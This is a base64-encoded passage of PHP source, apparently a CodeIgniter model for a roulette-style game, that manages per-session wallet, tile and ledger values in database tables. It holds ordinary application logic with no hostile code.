DQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQlpZigkdXBkYXRld2FsbGV0WydsZWRnZXInXSA8ICRnZXRTZXR2YWx1ZVsnbWludXNsZWRnbGltaXQnXSl7DQoJCQkkdXBkYXRld2FsbGV0WydtaW51c2xlZGdlciddID0gJGdldFdhbGxldHZhbHVlWydtaW51c2xlZGdlciddKyR1cGRhdGV3YWxsZXRbJ2xlZGdlciddOw0KCQkJJHVwZGF0ZXdhbGxldFsnbGVkZ2VyJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnaW5jb21pbmcnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydvdXRnb2luZyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydodHdhbGxldCddID0gMDsJDQoJCQkkdXBkYXRld2FsbGV0WydyZWR0aWxlcyddID0gMDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ10gPSAwOwkNCgkJCSR1cGRhdGV3YWxsZXRbJ3NlY29uZHRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ10gPSAwOw0KCQkJJHVwZGF0ZXdhbGxldFsnb2RkdGlsZXMnXSA9IDA7CQ0KCQkJfQ0KCQkJDQoJCQkNCgkJCQ0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1RJTEVTVkFMLCR1cGRhdGV3YWxsZXQpOw0KCQkJDQoJCQlpZihAJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdlYWNodGltZScpID09ICdhcHBseScpew0KCQkJCSR0aGlzLT5vbmV0aW1lKCk7DQoJCQl9DQoJCQkNCgkJCQ0KCQkJDQoJCQkNCgkJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOwkJCQ0KCQkJJHJlc3VsdCA9IGFycmF5KCk7CQkJCQkJICAgDQoJCQkJCSAgIA0KCQkJJHJlc3VsdFsncmV0dXJuc3RyaW5nJ10gPSAkcmV0dXJuc3RyaW5nOwkJDQoJCQkkcmVzdWx0WydyZXR1cm5udW1iZXInXSA9ICRyZXR1cm5udW1iZXI7DQoJCQkkcmVzdWx0WydyZXR1cm5jb2xvcnN0cmluZyddID0gJHJldHVybmNvbG9yc3RyaW5nOwkNCgkJCSRyZXN1bHRbJ3JldHVybnBsYWNlc3RyaW5nJ10gPSAkcmV0dXJucGxhY2VzdHJpbmc7CQ0KCQkJDQoJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJJHJlc3VsdFsnYmxhY2t0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkkcmVzdWx0WydmaXJzdHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkkcmVzdWx0WydldmVudGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkkcmVzdWx0WydvZGR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJDQoJCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkJJHJlc3VsdFsncmJ3YWxsZXQnXSA9ICRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXTsNCgkJCSRyZXN1bHRbJ2h0d2FsbGV0J10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCQkkcmVzdWx0WydpbmNvbWluZyddID0gJGdldFdhbGxldHZhbHVlWydpbmNvbWluZyddOw0KCQkJJHJlc3VsdFsnb3V0Z29pbmcnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnb3V0Z29pbmcnXTsNCgkJCSRyZXN1bHRbJ2xlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ2xlZGdlciddOw0KCQkJJHJlc3VsdFsnbWFpbmxlZGdlciddID0gICAkZ2V0V2FsbGV0dmFsdWVbJ21haW5sZWRnZXInXTsNCgkJCSRyZXN1bHRbJ21pbnVzbGVkZ2VyJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ21pbnVzbGVkZ2VyJ107DQoJCQkNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfdXNlcmRhdGEoJHJlc3VsdCk7DQoJCQkNCgkJCWlmKCRnZXRTZXR2YWx1ZVsndGlsZXNlcXVpdHknXSA9PSAneWVzJyl7CQkJCQkNCgkJCQkkdG90YWx0aWxlc3ZhbCA9IDA7DQoJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5zdHJpbmcnKSA9PSAnZXZlbicpew0KCQkJCQkkdG90YWx0aWxlc3ZhbCA9ICR0b3RhbHRpbGVzdmFsKyRnZXRXYWxsZXR2YWx1ZVsnZXZlbnRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydvZGR0aWxlcyddOw0KCQkJCX0NCgkJCSAgICBpZigkdGhpcy0+c2Vzc2lvbi0+dXNlcmRhdGEoJ3JldHVybmNvbG9yc3RyaW5nJykgPT0gJ3JlZCcgKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbDQoJCQkJJ3JlZHRpbGVzJ107DQoJCQkJfWVsc2V7DQoJCQkJCSR0b3RhbHRpbGVzdmFsID0gJHRvdGFsdGlsZXN2YWwrJGdldFdhbGxldHZhbHVlWydibGFja3RpbGVzJ107DQoJCQkJfQ0KCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJucGxhY2VzdHJpbmcnKSA9PSAnZmlyc3QnKXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ2ZpcnN0dGlsZXMnXTsNCgkJCQl9ZWxzZXsNCgkJCQkJJHRvdGFsdGlsZXN2YWwgPSAkdG90YWx0aWxlc3ZhbCskZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJfQ0KCQkJCSR0b3RhbHRpbGVzdmFsID0gcm91bmQoJHRvdGFsdGlsZXN2YWwvMyk7DQoJCQkJDQoJCQkJCSR1cGRhdGV3YWxsZXQgPSBhcnJheSgpOwkJCQkJDQoJCQkJCWlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuc3RyaW5nJykgPT0gJ2V2ZW4nKXsNCgkJCQkJJHVwZGF0ZXdhbGxldFsnZXZlbnRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydvZGR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9DQoJCQkJICAgIGlmKCR0aGlzLT5zZXNzaW9uLT51c2VyZGF0YSgncmV0dXJuY29sb3JzdHJpbmcnKSA9PSAncmVkJyl7DQoJCQkJICAgICR1cGRhdGV3YWxsZXRbJ3JlZHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydibGFja3RpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX0NCgkJCQkJaWYoJHRoaXMtPnNlc3Npb24tPnVzZXJkYXRhKCdyZXR1cm5wbGFjZXN0cmluZycpID09ICdmaXJzdCcpew0KCQkJCQkkdXBkYXRld2FsbGV0WydmaXJzdHRpbGVzJ109JHRvdGFsdGlsZXN2YWw7DQoJCQkJCX1lbHNlew0KCQkJCQkkdXBkYXRld2FsbGV0WydzZWNvbmR0aWxlcyddPSR0b3RhbHRpbGVzdmFsOw0KCQkJCQl9CQ0KCQkJCQkNCgkJCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7CQkJCQ0KCQkJCQkNCgkJCQkkZ2V0V2FsbGV0dmFsdWUgPSAkdGhpcy0+Z2V0V2FsbGV0dmFsdWUoKTsNCgkJCQkkcmVzdWx0WydyZWR0aWxlcyddID0gJGdldFdhbGxldHZhbHVlWydyZWR0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2JsYWNrdGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnYmxhY2t0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ2ZpcnN0dGlsZXMnXSA9ICRnZXRXYWxsZXR2YWx1ZVsnZmlyc3R0aWxlcyddOw0KCQkJCSRyZXN1bHRbJ3NlY29uZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ3NlY29uZHRpbGVzJ107DQoJCQkJJHJlc3VsdFsnZXZlbnRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ2V2ZW50aWxlcyddOw0KCQkJCSRyZXN1bHRbJ29kZHRpbGVzJ10gPSAkZ2V0V2FsbGV0dmFsdWVbJ29kZHRpbGVzJ107DQoJCQl9DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOw0KCQkJcmV0dXJuIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KCQkJDQoJCX0NCgl9DQoNCglwdWJsaWMgZnVuY3Rpb24gZWFjaHRpbWUoKXsNCgkJJHJldHVybiA9ICR0aGlzLT5vbmV0aW1lKCk7DQoJCSRyZXN1bHRbJ2VhY2h0aW1lJ10gPSAnYXBwbHknOw0KCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkJDQoJCXJldHVybiAkcmV0dXJuOw0KCX0NCg0KCXB1YmxpYyBmdW5jdGlvbiBvbmV0aW1lKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRnZXRXYWxsZXR2YWx1ZSA9ICR0aGlzLT5nZXRXYWxsZXR2YWx1ZSgpOwkNCgkJJHRvdGFsID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddKyRnZXRXYWxsZXR2YWx1ZVsncmJ3YWxsZXQnXSskZ2V0V2FsbGV0dmFsdWVbJ2h0d2FsbGV0J107DQoJCSR0b3RhbCA9IHJvdW5kKCR0b3RhbC8zKTsJDQoJCQ0KCQkJJHVwZGF0ZXdhbGxldCA9IGFycmF5KCk7DQoJCQkkdXBkYXRld2FsbGV0Wydlb3dhbGxldCddID0gJHRvdGFsOw0KCQkJJHVwZGF0ZXdhbGxldFsncmJ3YWxsZXQnXSA9ICR0b3RhbDsNCgkJCSR1cGRhdGV3YWxsZXRbJ2h0d2FsbGV0J10gPSAkdG90YWw7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfVElMRVNWQUwsJHVwZGF0ZXdhbGxldCk7DQoJCQkNCgkJJGdldFdhbGxldHZhbHVlID0gJHRoaXMtPmdldFdhbGxldHZhbHVlKCk7CQkNCgkJJHJlc3VsdCA9IGFycmF5KCk7CQ0KCQkkcmVzdWx0Wydlb3dhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydlb3dhbGxldCddOw0KCQkkcmVzdWx0WydyYndhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydyYndhbGxldCddOw0KCQkkcmVzdWx0WydodHdhbGxldCddID0gJGdldFdhbGxldHZhbHVlWydodHdhbGxldCddOw0KCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X3VzZXJkYXRhKCRyZXN1bHQpOwkNCgkJcmV0dXJuIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KCQkNCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIGdldFRvcHRocmVlVmFsKCl7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRxID0gIlNlbGVjdCAqIGZyb20gIi5UQkxfTUVOVElPTk5VTVJFQy4iIFdIRVJFIHNlc3Npb25faWQgPSAnIi4kc2Vzc2lvbl9pZC4iJyBPUkRFUiBCWSBpZCBkZXNjIGxpbWl0IDMiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCXJldHVybiAkcXVlcnktPnJlc3VsdF9hcnJheSgpOw0KCQl9ZWxzZXsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCgkNCglwdWJsaWMgZnVuY3Rpb24gc2V0V2FsbGV0VmFsKCR2YWwpew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnd2FsbGV0J10gPSAkdmFsOw0KCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJfQ0KCQ0KCXB1YmxpYyBmdW5jdGlvbiBnZXRWYWx1ZWluU2V0KCRtbnVtYmVyKXsNCgkJJHNldHJlc3VsdCA9IGFycmF5KCk7DQoJCSRzZXRyZXN1bHRbJ3ZhbHVlJ10gPSAgJG1udW1iZXI7DQoJCSRxID0gIlNlbGVjdCAqIGZyb20gIi5UQkxfTlVNQkVSU0VULiIgV0hFUkUgRklORF9JTl9TRVQoJG1udW1iZXIscmVkc2V0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAncmVkc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixibGFja3NldCkiOyANCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gcXVlcnkoJHEpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCSRzZXRyZXN1bHRbJ3Byb3AnXVtdID0gJ2JsYWNrc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixmaXJzdGh0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAnZmlyc3RodCc7DQoJCX0NCg0KCQkkcSA9ICJTZWxlY3QgKiBmcm9tICIuVEJMX05VTUJFUlNFVC4iIFdIRVJFIEZJTkRfSU5fU0VUKCRtbnVtYmVyLHNlY29uZGh0KSI7IA0KCQkkcXVlcnkgPSAkdGhpcyAtPiBkYiAtPiBxdWVyeSgkcSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJJHNldHJlc3VsdFsncHJvcCddW10gPSAnc2Vjb25kaHQnOw0KCQl9DQoJCQ0KCQkkcSA9ICJTZWxlY3QgKiBmcm9tICIuVEJMX05VTUJFUlNFVC4iIFdIRVJFIEZJTkRfSU5fU0VUKCRtbnVtYmVyLGV2ZW5zZXQpIjsgDQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IHF1ZXJ5KCRxKTsJCQ0KCQlpZiAoJHF1ZXJ5IC0+IG51bV9yb3dzKCkgPiAwKSB7DQoJCQkkc2V0cmVzdWx0Wydwcm9wJ11bXSA9ICdldmVuc2V0JzsNCgkJfQ0KCQkNCgkJJHEgPSAiU2VsZWN0ICogZnJvbSAiLlRCTF9OVU1CRVJTRVQuIiBXSEVSRSBGSU5EX0lOX1NFVCgkbW51bWJlcixvZGRzZXQpIjsgDQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IHF1ZXJ5KCRxKTsJCQ0KCQlpZiAoJHF1ZXJ5IC0+IG51bV9yb3dzKCkgPiAwKSB7DQoJCQkkc2V0cmVzdWx0Wydwcm9wJ11bXSA9ICdvZGRzZXQnOw0KCQl9DQoJCQ0KCQlyZXR1cm4gJHNldHJlc3VsdDsNCgl9DQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIHNhdmUgbG90IG51bWJlciAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlbG90bnVtYmVyKCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydsbnVtYmVyJ10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ2xudW1iZXInKTsNCgkJJGRhdGFbJ3dhbGxldCddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCdsbnVtYmVyJyk7CQ0KCQkkZ2V0U2V0dmFsdWUgPSAkdGhpcy0+Z2V0U2V0dmFsdWUoKTsNCgkJaWYoJGdldFNldHZhbHVlKXsNCgkJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywgJHNlc3Npb25faWQpOw0KCQkJJHRoaXMgLT4gZGIgLT4gdXBkYXRlKFRCTF9TRVRWQUxVRSwkZGF0YSk7DQoJCQkkaW5zZXJ0ZWRfaWQgPSAkZ2V0U2V0dmFsdWVbJ2lkJ107DQoJCQkkdGhpcy0+c2Vzc2lvbi0+c2V0X2ZsYXNoZGF0YSgnc3VjY2VzcycsICdMb3QgbnVtYmVyIGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJGRhdGF0aWxlc1snc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCQkkZGF0YXRpbGVzWydyZWR0aWxlcyddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2JsYWNrdGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydmaXJzdHRpbGVzJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snc2Vjb25kdGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydldmVudGlsZXMnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydvZGR0aWxlcyddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2Vvd2FsbGV0J10gPSAwOw0KCQkJJGRhdGF0aWxlc1sncmJ3YWxsZXQnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydodHdhbGxldCddID0gMDsNCgkJCSRkYXRhdGlsZXNbJ2luY29taW5nJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snb3V0Z29pbmcnXSA9IDA7DQoJCQkkZGF0YXRpbGVzWydtYWlubGVkZ2VyJ10gPSAwOw0KCQkJJGRhdGF0aWxlc1snbWludXNsZWRnZXInXSA9IDA7DQoJCQkNCgkJCSR0aGlzIC0+IGRiIC0+IGluc2VydChUQkxfVElMRVNWQUwsICRkYXRhdGlsZXMpOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTG90IG51bWJlciBoYXMgYmVlbiBhZGRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQkNCgkJcmV0dXJuICRpbnNlcnRlZF9pZDsJCQkNCgl9DQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIHNhdmUgZGl2IG51bWJlciAqKioqKioqKioqKioqKioqLw0KCXB1YmxpYyBmdW5jdGlvbiBzYXZlZGl2bnVtYmVyKCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydkbnVtYmVyJ10gICAgPSAkdGhpcy0+aW5wdXQtPnBvc3QoJ2RudW1iZXInKTsJDQoJCSRnZXRTZXR2YWx1ZSA9ICR0aGlzLT5nZXRTZXR2YWx1ZSgpOw0KCQlpZigkZ2V0U2V0dmFsdWUpew0KCQkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCAkc2Vzc2lvbl9pZCk7DQoJCQkkdGhpcyAtPiBkYiAtPiB1cGRhdGUoVEJMX1NFVFZBTFVFLCRkYXRhKTsNCgkJCSRpbnNlcnRlZF9pZCA9ICRnZXRTZXR2YWx1ZVsnaWQnXTsNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfZmxhc2hkYXRhKCdzdWNjZXNzJywgJ0RpdmlzaW9uIG51bWJlciBoYXMgYmVlbiB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9ZWxzZXsNCgkJCSR0aGlzIC0+IGRiIC0+IGluc2VydChUQkxfU0VUVkFMVUUsICRkYXRhKTsNCgkJCSRpbnNlcnRlZF9pZCA9ICR0aGlzIC0+IGRiIC0+IGluc2VydF9pZCgpOwkNCgkJCSR0aGlzLT5zZXNzaW9uLT5zZXRfZmxhc2hkYXRhKCdzdWNjZXNzJywgJ0RpdmlzaW9uIG51bWJlciBoYXMgYmVlbiBhZGRlZCBzdWNjZXNzZnVsbHkuJyk7DQoJCQlyZWRpcmVjdChiYXNlX3VybCgpLiJpbnB1dHBhZ2VzL3NldHZhbHVlIik7DQoJCQlyZXR1cm4gdHJ1ZTsNCgkJfQkNCgkJCQkNCgl9DQoJDQoJDQoJLyoqKioqKioqKioqKioqIGZ1bmN0aW9uIHRvIGdldCBzZXQgdmFsdWUgYnkgc2Vzc2lvbiBpZCAqKioqKioqKioqKioqKi8NCglmdW5jdGlvbiBnZXRTZXR2YWx1ZSgpIHsNCgkJJHNlc3Npb25faWQgPSAkdGhpcy0+c2Vzc2lvbi0+c2Vzc2lvbl9pZDsNCgkJJHRoaXMgLT4gZGIgLT4gd2hlcmUoJ3Nlc3Npb25faWQnLCRzZXNzaW9uX2lkKTsNCgkJJHF1ZXJ5ID0gJHRoaXMgLT4gZGIgLT4gZ2V0KFRCTF9TRVRWQUxVRSk7CQkNCgkJaWYgKCRxdWVyeSAtPiBudW1fcm93cygpID4gMCkgew0KCQkJZm9yZWFjaCAoJHF1ZXJ5LT5yZXN1bHRfYXJyYXkoKSBhcyAkdmFsdWUpIHsNCgkJCQkkcmVzdWx0ID0gJHZhbHVlOw0KCQkJfQ0KCQlyZXR1cm4gJHJlc3VsdDsJDQoJCX1lbHNlew0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfQ0KCS8qKioqKioqKioqKioqKiBmdW5jdGlvbiB0byBnZXQgc2V0IHZhbHVlIGJ5IHNlc3Npb24gaWQgKioqKioqKioqKioqKiovDQoJZnVuY3Rpb24gZ2V0V2FsbGV0dmFsdWUoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSR0aGlzIC0+IGRiIC0+IHdoZXJlKCdzZXNzaW9uX2lkJywkc2Vzc2lvbl9pZCk7DQoJCSRxdWVyeSA9ICR0aGlzIC0+IGRiIC0+IGdldChUQkxfVElMRVNWQUwpOwkJDQoJCWlmICgkcXVlcnkgLT4gbnVtX3Jvd3MoKSA+IDApIHsNCgkJCWZvcmVhY2ggKCRxdWVyeS0+cmVzdWx0X2FycmF5KCkgYXMgJHZhbHVlKSB7DQoJCQkJJHJlc3VsdCA9ICR2YWx1ZTsNCgkJCX0NCgkJcmV0dXJuICRyZXN1bHQ7CQ0KCQl9ZWxzZXsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX0NCgkNCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBsZWRnZXIgbGltaXQgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZWxlZGxpbWl0KCkgew0KCQkkc2Vzc2lvbl9pZCA9ICR0aGlzLT5zZXNzaW9uLT5zZXNzaW9uX2lkOw0KCQkkZGF0YVsnc2Vzc2lvbl9pZCddID0gJHNlc3Npb25faWQ7DQoJCSRkYXRhWydsZWRnZXJsaW1pdCddICAgID0gJHRoaXMtPmlucHV0LT5wb3N0KCdsZWRnZXJsaW1pdCcpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSgnc2Vzc2lvbl9pZCcsICRzZXNzaW9uX2lkKTsNCgkJCSR0aGlzIC0+IGRiIC0+IHVwZGF0ZShUQkxfU0VUVkFMVUUsJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJGdldFNldHZhbHVlWydpZCddOw0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTGVkZ2VyIExpbWl0IGhhcyBiZWVuIHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LicpOw0KCQkJcmVkaXJlY3QoYmFzZV91cmwoKS4iaW5wdXRwYWdlcy9zZXR2YWx1ZSIpOw0KCQkJcmV0dXJuIHRydWU7DQoJCX1lbHNlew0KCQkJJHRoaXMgLT4gZGIgLT4gaW5zZXJ0KFRCTF9TRVRWQUxVRSwgJGRhdGEpOw0KCQkJJGluc2VydGVkX2lkID0gJHRoaXMgLT4gZGIgLT4gaW5zZXJ0X2lkKCk7CQ0KCQkJJHRoaXMtPnNlc3Npb24tPnNldF9mbGFzaGRhdGEoJ3N1Y2Nlc3MnLCAnTGVkZ2VyIExpbWl0IGhhcyBiZWVuIGFkZGVkIHN1Y2Nlc3NmdWxseS4nKTsNCgkJCXJlZGlyZWN0KGJhc2VfdXJsKCkuImlucHV0cGFnZXMvc2V0dmFsdWUiKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9CQ0KCQkJCQ0KCX0NCgkvKioqKioqKioqKioqKiogZnVuY3Rpb24gdG8gc2F2ZSBmYWlsIGNhc2UgdHJhbnNmZXIgdmFsdWUgKioqKioqKioqKioqKioqKi8NCglwdWJsaWMgZnVuY3Rpb24gc2F2ZWZjdHYoKSB7DQoJCSRzZXNzaW9uX2lkID0gJHRoaXMtPnNlc3Npb24tPnNlc3Npb25faWQ7DQoJCSRkYXRhWydzZXNzaW9uX2lkJ10gPSAkc2Vzc2lvbl9pZDsNCgkJJGRhdGFbJ2ZjdHYnXSAgICA9ICR0aGlzLT5pbnB1dC0+cG9zdCgnZmN0dicpOwkNCgkJJGdldFNldHZhbHVlID0gJHRoaXMtPmdldFNldHZhbHVlKCk7DQoJCWlmKCRnZXRTZXR2YWx1ZSl7DQoJCQkkdGhpcyAtPiBkYiAtPiB3aGVyZSg